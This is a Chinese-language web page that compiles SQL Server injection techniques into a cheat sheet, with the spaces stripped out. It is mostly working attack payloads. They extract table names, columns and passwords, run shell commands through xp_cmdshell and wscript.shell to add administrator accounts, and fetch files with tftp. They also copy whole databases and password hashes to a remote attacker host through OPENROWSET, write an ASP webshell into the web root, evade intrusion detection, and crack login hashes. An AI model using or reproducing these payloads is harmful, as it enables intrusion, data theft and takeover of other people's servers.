首页 电脑 电脑学堂 查看内容

Sql注射总结

2010-1-14 16:36 679 0

摘要:   最重要的表名:   select*fromsysobjects   sysobjectsncsysobjects   sysindexestsysindexes   syscolumns ...
关键词: 字段 select 语句 selecttop EXECmaster dbo DECLARE OAMETHOD xp 20

  最重要的表名:   select*fromsysobjects   sysobjectsncsysobjects   sysindexestsysindexes   syscolumns   systypes   sysusers   sysdatabases   sysxlogins   sysprocessesSyue。com   最重要的一些用户名(默认sql数据库中存在着的)   public   dbo   guest(一般禁止,或者没权限)   db_sercurityadmin   ab_dlladmin   一些默认扩展   xp_regaddmultistring   xp_regdeletekey   xp_regdeletevalue   xp_regenumkeys   xp_regenumvalues   xp_regread   xp_regremovemultistring   xp_regwrite   xp_availablemedia驱动器相关   xp_dirtree目录   xp_enumdsnODBC连接   xp_loginconfig服务器安全模式信息   xp_makecab创建压缩卷   xp_ntsec_enumdomainsdomain信息   xp_terminate_process终端进程,给出一个PID   [信息来源""]   例如:   sp_addextendedproc'xp_webserver','c:\temp\xp_foo。dll'   execxp_webserver   sp_dropextendedproc'xp_webserver'   bcp"select*FROMtest。。foo"queryoutc:\inetpub\wwwroot\runcommand。asp-c-Slocalhost-Usa-Pfoobar   'groupbyusers。idhaving1=1-   'groupbyusers。id,users。username,users。password,users。privshaving1=1-   ';insertintousersvalues(666,'attacker','foobar',0xffff)-内容来自""   unionselectTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA。COLUMNSwhereTABLE_NAME='logintable'-   unionselectTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA。COLUMNSwhereTABLE_NAME='logintable'whereCOLUMN_NAMENOTIN('login_id')-   unionselectTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA。COLUMNSwhereTABLE_NAME='logintable'whereCOLUMN_NAMENOTIN('login_id','login_name')-   unionselectTOP1login_nameFROMlogintable-   unionselectTOP1passwordFROMlogintablewherelogin_name='Rahul'--   构造语句:查询是否存在xp_cmdshell   'unionselect@@version,1,1,1--   and1=(select@@VERSION)   and'sa'=(selectSystem_user)   'unionselectret,1,1,1fromfoo--   'unionselectmin(username),1,1,1fromuserswhereusername>'a'-   'unionselectmin(username),1,1,1fromuserswhereusername>'admin'-   'unionselectpassword,1,1,1fromuserswhereusername='admin'--   anduser_name()='dbo'   and0<>(selectuser_name()-   ;DECLARE@shellINTEXECSP_OAcreate'wscript。shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd。exe/cnetuserswap5245886/add'   and1=(selectcount(*)FROMmaster。dbo。sysobjectswherextype='X'ANDname='xp_cmdshell')   ;EXECmaster。dbo。sp_addextendedproc'xp_cmdshell','xplog70。dll'www。Syue。com   1=(%20select%20count(*)%20from%20master。dbo。sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')   and1=(selectIS_SRVROLEMEMBER('sysadmin'))判断sa权限是否   and0<>(selecttop1pathsfromnewtable)--暴库大法   and1=(selectnamefrommaster。dbo。sysdatabaseswheredbid=7)得到库名(从1到5都是系统的id,6以上才可以判断)   创建一个虚拟目录E盘:   declare@ointexecsp_oacreate'wscript。shell',@ooutexecsp_oamethod@o,'run',NULL,'cscript。exec:\inetpub\wwwroot\mkwebdir。vbs-w"默认Web站点"-v"e","e:\"'   访问属性:(配合写入一个webshell)   declare@ointexecsp_oacreate'wscript。shell',@ooutexecsp_oamethod@o,'run',NULL,'cscript。exec:\inetpub\wwwroot\chaccess。vbs-aw3svc/1/ROOT/e+browse'   and0<>(selectcount(*)frommaster。dbo。sysdatabaseswherename>1anddbid=6)   依次提交dbid=7,8,9。。。。得到更多的数据库名   and0<>(selecttop1namefrombbs。dbo。sysobjectswherextype='U')暴到一个表假设为adminSyue。com   and0<>(selecttop1namefrombbs。dbo。sysobjectswherextype='U'andnamenotin('Admin'))来得到其他的表。   and0<>(selectcount(*)frombbs。dbo。sysobjectswherextype='U'andname='admin'   anduid>(str(id)))暴到UID的数值假设为18779569uid=id   and0<>(selecttop1namefrombbs。dbo。syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_id   and0<>(selecttop1namefrombbs。dbo。syscolumnswhereid=18779569andnamenotin   ('id',。。。))来暴出其他的字段   and0<(selectuser_idfromBBS。dbo。adminwhereusername>1)可以得到用户名   依次可以得到密码。。。。。假设存在user_idusername,password等字段SYUE。COM   Show。asp?id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin   Show。asp?id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin   (union语句到处风靡啊,access也好用   [www。Syue。com]   暴库特殊技巧::%5c='\'或者把/和\修改%5提交   and0<>(selectcount(*)frommaster。dbo。sysdatabaseswherename>1anddbid=6)   and0<>(selecttop1namefrombbs。dbo。sysobjectswherextype='U')得到表名   and0<>(selecttop1namefrombbs。dbo。sysobjectswherextype='U'andnamenotin('Address'))   and0<>(selectcount(*)frombbs。dbo。sysobjectswherextype='U'andname='admin'anduid>(str(id)))判断id值   and0<>(selecttop1namefromBBS。dbo。syscolumnswhereid=773577794)所有字段   table[dbo]。[swap]([swappass][char](255));--[Syue。com]   and(selecttop1swappassfromswap)=1   ;createTABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster。。xp_regread@rootkey='HKEY_LOCAL_MACHINE',@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\',@value_name='/',OUTPUTinsertintopaths(path)values(@test)来源""   =政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript。shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd。exe%20/c%20ping%201。1。1。1";--   SYUE。COM   得到了web路径d:\xxxx,接下来:   ku1;--   tablecmd(strimage);--内容来自""   传统的存在xp_cmdshell的测试过程:   ;execmaster。。xp_cmdshell'dir'   ;execmaster。dbo。sp_addloginhax;--   ;execmaster。dbo。sp_passwordnull,hax,hax;--   ;execmaster。dbo。sp_addsrvrolememberhaxsysadmin;--   ;execmaster。dbo。xp_cmdshell'netuserhax5258/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';--   ;execmaster。dbo。xp_cmdshell'netlocalgroupadministratorshax/add';--   execmaster。。xp_servicecontrol'start','schedule'   execmaster。。xp_servicecontrol'start','server'   http://www。xxx。com/list。asp?classid=1;DECLARE@shellINTEXECSP_OAcreate'wscript。shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd。exe/cnetuserswap5258/add'   ;DECLARE@shellINTEXECSP_OAcreate'wscript。shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd。exe/cnetlocalgroupadministratorsswap/add'SYUE。COM   ;execmaster。。xp_cmdshell'tftp-iyouipgetfile。exe'-   [资源来自""]   declare@asysnameset@a='xp_'+'cmdshell'exec@a'dirc:\'   declare@asysnameset@a='xp'+'_cm'+'dshell'exec@a'dirc:\'   ;declare@a;set@a=db_name();backupdatabase@atodisk='你的IP你的共享目录bak。dat'   如果被限制则可以。   select*fromopenrowset('sqloledb','server';'sa';'','select''OK!''execmaster。dbo。sp_addloginhax')   传统查询构造:   select*FROMnewswhereid=。。。ANDtopic=。。。AND。。。。。   admin'and1=(selectcount(*)from[user]whereusername='victim'andright(left(userpass,01),1)='1')anduserpass<>'   select123;--   ;usemaster;--   :a'ornamelike'fff%';--显示有一个叫ffff的用户哈。   'and1<>(selectcount(email)from[user]);--   ;update[users]setemail=(selecttop1namefromsysobjectswherextype='u'andstatus>0)wherename='ffff';--   说明:   上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。   通过查看ffff的用户资料可得第一个用表叫ad   然后根据表名ad得到这个表的ID   ffff';update[users]setemail=(selecttop1idfromsysobjectswherextype='u'andname='ad')wherename='ffff';--信息来自""   象下面这样就可以得到第二个表的名字了   ffff';update[users]setemail=(selecttop1namefromsysobjectswherextype='u'andid>581577110)wherename='ffff';--   ffff';update[users]setemail=(selecttop1count(id)frompassword)wherename='ffff';--   ffff';update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename='ffff';--WWW。SYUE。COM   ffff';update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename='ffff';--[来源""]   execmaster。。xp_servicecontrol'start','schedule'   execmaster。。xp_servicecontrol'start','server'   sp_addextendedproc'xp_webserver','c:\temp\xp_foo。dll'   扩展存储就可以通过一般的方法调用:   execxp_webserver   一旦这个扩展存储执行过,可以这样删除它:   sp_dropextendedproc'xp_webserver'   来源""   insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)-   [Syue。com]   insertintousersvalues(667,123,123,0xffff)-""提供   insertintousersvalues(123,'admin''--','password',0xffff)-   ;anduser>0   ;;and(selectcount(*)fromsysobjects)>0   ;;and(selectcount(*)frommysysobjects)>0//为access数据库信息来自""   -----------------------------------------------------------通常注射的一些介绍:   A)ID=49这类注入的参数是数字型,SQL语句原貌大致如下:   select*from表名where字段=49   注入的参数为ID=49And[查询条件],即是生成语句:   select*from表名where字段=49And[查询条件]""   (B)Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:   select*from表名where字段='连续剧'   注入的参数为Class=连续剧'and[查询条件]and''=',即是生成语句:   select*from表名where字段='连续剧'and[查询条件]and''=''   (C)搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:   select*from表名where字段like'%关键字%'   注入的参数为keyword='and[查询条件]and'%25'=',即是生成语句:   select*from表名where字段like'%'and[查询条件]and'%'='%'   ;;and(selectTop1namefromsysobjectswherextype='U'andstatus>0)>0   sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U'andstatus>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。   ;;and(selectTop1col_name(object_id('表名'),1)fromsysobjects)>0   从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4。。。就可以逐个获取所猜解表里面的字段名。[来源""]   post。htm内容:主要是方便输入。   <iframename=psrc=#width=800height=350frameborder=0></iframe>   <br>   <formaction=http://test。com/count。asptarget=p>   <inputname="id"value="1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0);--"style="width:750">   <inputtype=submitvalue=">>>">   <inputtype=hiddenname=fnovalue="2,3">   </form>   枚举出他的数据表名:   id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0);--   这是将第一个表名更新到aaa的字段处。   读出第一个表,第二个表可以这样读出来(在条件后加上andname<>'刚才得到的表名')。   id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0andname<>'vote');--   然后id=1552andexists(select*fromaaawhereaaa>5)   读出第二个表,^^^^^^一个个的读出,直到没有为止。   读字段是这样:   id=1552;updateaaasetaaa=(selecttop1col_name(object_id('表名'),1));--Syue。com   然后id=1552andexists(select*fromaaawhereaaa>5)出错,得到字段名   id=1552;updateaaasetaaa=(selecttop1col_name(object_id('表名'),2));--   然后id=1552andexists(select*fromaaawhereaaa>5)出错,得到字段名   --------------------------------高级技巧:   [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]   update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname<>'你得到的表名'查出一个加一个])[where条件]   selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin('table1','table2',…)   通过SQLSERVER注入建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]""提供   [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]   update表名set字段=(selecttop1col_name(object_id('要查询的数据表名'),字段列如:1)[where条件]   绕过IDS的检测[使用变量]   declare@asysnameset@a='xp_'+'cmdshell'exec@a'dirc:\'   declare@asysnameset@a='xp'+'_cm'+'dshell'exec@a'dirc:\'   (Syue。com)   1、开启远程数据库   基本语法   select*fromOPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select*fromtable1')   参数:(1)OLEDBProvidername   2、其中连接字符串参数可以是任何和端口用来连接,比如   select*fromOPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202。100。100。1,1433;','select*fromtable'内容来自""   要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。SYUE。COM   基本语法:   insertintoOPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select*fromtable1')select*fromtable2   这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:   insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202。100。100。1,1433;','select*fromtable1')select*fromtable2   [""]   insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202。100。100。1,1433;','select*from_sysdatabases')   select*frommaster。dbo。sysdatabases   insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202。100。100。1,1433;','select*from_sysobjects')   select*fromuser_database。dbo。sysobjects[""]   insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202。100。100。1,1433;','select*from_syscolumns')   select*fromuser_database。dbo。syscolumns内容来自""   之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:   insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202。100。100。1,1433;','select*fromtable1')select*fromdatabase。。table1   www。Syue。com   insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202。100。100。1,1433;','select*fromtable2')select*fromdatabase。。table2[信息来自""]   。。。。。。   内容来自""   3、复4、制哈西表(HASH)[www。Syue。com]   这实际上是上述复5、制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:   insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202。100。100。1,1433;','select*from_sysxlogins')select*fromdatabase。dbo。sysxlogins   得到hash之后,6、就可以进行暴力破解。这需要一点运气和大量时间。Syue。com   遍历目录的方法:   先创建一个临时表:temp   '5;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--   5';inserttempexecmaster。dbo。xp_availablemedia;--获得当前所有驱动器   5';insertintotemp(id)execmaster。dbo。xp_subdirs'c:\';--获得子目录列表   5';insertintotemp(id,num1)execmaster。dbo。xp_dirtree'c:\';--获得所有子目录的目录树结构,并寸入temp表中   [信息来源""]   5';insertintotemp(id)execmaster。dbo。xp_cmdshell'typec:\web\index。asp';--查看某个文件的内容   5';insertintotemp(id)execmaster。dbo。xp_cmdshell'dirc:\';--   5';insertintotemp(id)execmaster。dbo。xp_cmdshell'dirc:\*。asp/s/a';--   5';insertintotemp(id)execmaster。dbo。xp_cmdshell'cscriptC:\Inetpub\AdminScripts\adsutil。vbsenumw3svc'来源""   5';insertintotemp(id,num1)execmaster。dbo。xp_dirtree'c:\';--(xp_dirtree适用权限PUBLIC)   写入表:   语句1:and1=(selectIS_SRVROLEMEMBER('sysadmin'));--   语句2:and1=(selectIS_SRVROLEMEMBER('serveradmin'));--   语句3:and1=(selectIS_SRVROLEMEMBER('setupadmin'));--   语句4:and1=(selectIS_SRVROLEMEMBER('securityadmin'));--   语句5:and1=(selectIS_SRVROLEMEMBER('securityadmin'));--   语句6:and1=(selectIS_SRVROLEMEMBER('diskadmin'));--   语句7:and1=(selectIS_SRVROLEMEMBER('bulkadmin'));--   语句8:and1=(selectIS_SRVROLEMEMBER('bulkadmin'));--   语句9:and1=(selectIS_MEMBER('db_owner'));--   把路径写到表中去:   tabledirs(pathsvarchar(100),idint)-   dirsexecmaster。dbo。xp_dirtree'c:\'-   and0<>(selecttop1pathsfromdirs)-   and0<>(selecttop1pathsfromdirswherepathsnotin())-   语句:tabledirs1(pathsvarchar(100),idint)--   语句:dirsexecmaster。dbo。xp_dirtree'e:\web'--   语句:and0<>(selecttop1pathsfromdirs1)-   把数据库备份到网页目录:下载   @asysname;set@a=db_name();backupdatabase@atodisk='e:\web\down。bak';--   (Syue。com)   and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)   and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects)参看相关表。   and1=(select%20user_id%20from%20USER_LOGIN)   and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)   ""   ……………………………………………………   --wscript。shellexample   declare@oint   execsp_oacreate'wscript。shell',@oout   execsp_oamethod@o,'run',NULL,'notepad。exe'   Itcouldberuninoursamplescenariobyspecifyingthefollowingusername(allononeline):   Username:';declare@ointexecsp_oacreate'wscript。shell',@ooutexecsp_oamethod@o,'run',NULL,'notepad。exe'--   2)Thisexampleusesthe'scripting。filesystemobject'objecttoreadaknowntextfile:   --scripting。filesystemobjectexample-readaknownfile   declare@oint,@fint,@tint,@retint   declare@linevarchar(8000)   execsp_oacreate'scripting。filesystemobject',@oout   execsp_oamethod@o,'opentextfile',@fout,'c:\boot。ini',1   exec@ret=sp_oamethod@f,'readline',@lineout   while(@ret=0)   begin   print@line   exec@ret=sp_oamethod@f,'readline',@lineout   end   3)ThisexamplecreatesanASPscriptthatwillrunanycommandpassedtoitinthequerystring:   [资源来自""]   --scripting。filesystemobjectexample-createa'runthis'。aspfile   declare@oint,@fint,@tint,@retint   execsp_oacreate'scripting。filesystemobject',@oout   execsp_oamethod@o,'createtextfile',@fout,'c:\inetpub\wwwroot\foo。asp',1   exec@ret=sp_oamethod@f,'writeline',NULL,   '<%seto=server。createobject("wscript。shell"):o。run(request。querystring("cmd"))%>'   ItisimportanttonotethatwhenrunningonaWindowsNT4,IIS4platform,commandsissuedbythisASPscriptwillrunasthe'system'account。InIIS5,however,theywillrunasthelow-privilegedIWAM_xxxaccount。   4)This(somewhatspurious)exampleillustratestheflexibilityofthetechnique;itusesthe'speech。voicetext'object,causingtheSQLServertospeak:Page16   declare@oint,@retint   execsp_oacreate'speech。voicetext',@oout   execsp_oamethod@o,'register',NULL,'foo','bar'   execsp_oasetproperty@o,'speed',150   execsp_oamethod@o,'speak',NULL,'allyoursequelserversarebelongto,us',528(Syue。com)   waitfordelay'00:00:05'   Thiscouldofcourseberuninourexamplescenario,byspecifyingthefollowing'username'(notethattheexampleisnotonlyinjectingascript,butsimultaneouslyloggingintotheapplicationas'admin'):   Username:admin';declare@oint,@retintexecsp_oacreate'speech。voicetext',@ooutexecsp_oamethod@o,'register',NULL,'foo','bar'execsp_oasetproperty@o,'speed',150execsp_oamethod@o,'speak',NULL,'allyoursequelserversarebelongtous',528waitfordelay'00:00:05'   常用密码和相关语句:   password   sqlserver   sql   admin   sesame   sa   guest   Hereisthescript:   (sqlcrack。sql)   createtabletempdb。。passwords(pwdvarchar(255))   bulkinserttempdb。。passwordsfrom'c:\temp\passwords。txt'   selectname,pwdfromtempdb。。passwordsinnerjoinsysxlogins   on(pwdcompare(pwd,sysxlogins。password,0)=1)   unionselectname,namefromsysxloginswhere   (pwdcompare(name,sysxlogins。password,0)=1)   unionselectsysxlogins。name,nullfromsysxloginsjoinsysloginsonsysxlogins。sid=syslogins。sid   wheresysxlogins。passwordisnulland   syslogins。isntgroup=0and   syslogins。isntuser=0   droptabletempdb。。passwords   
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部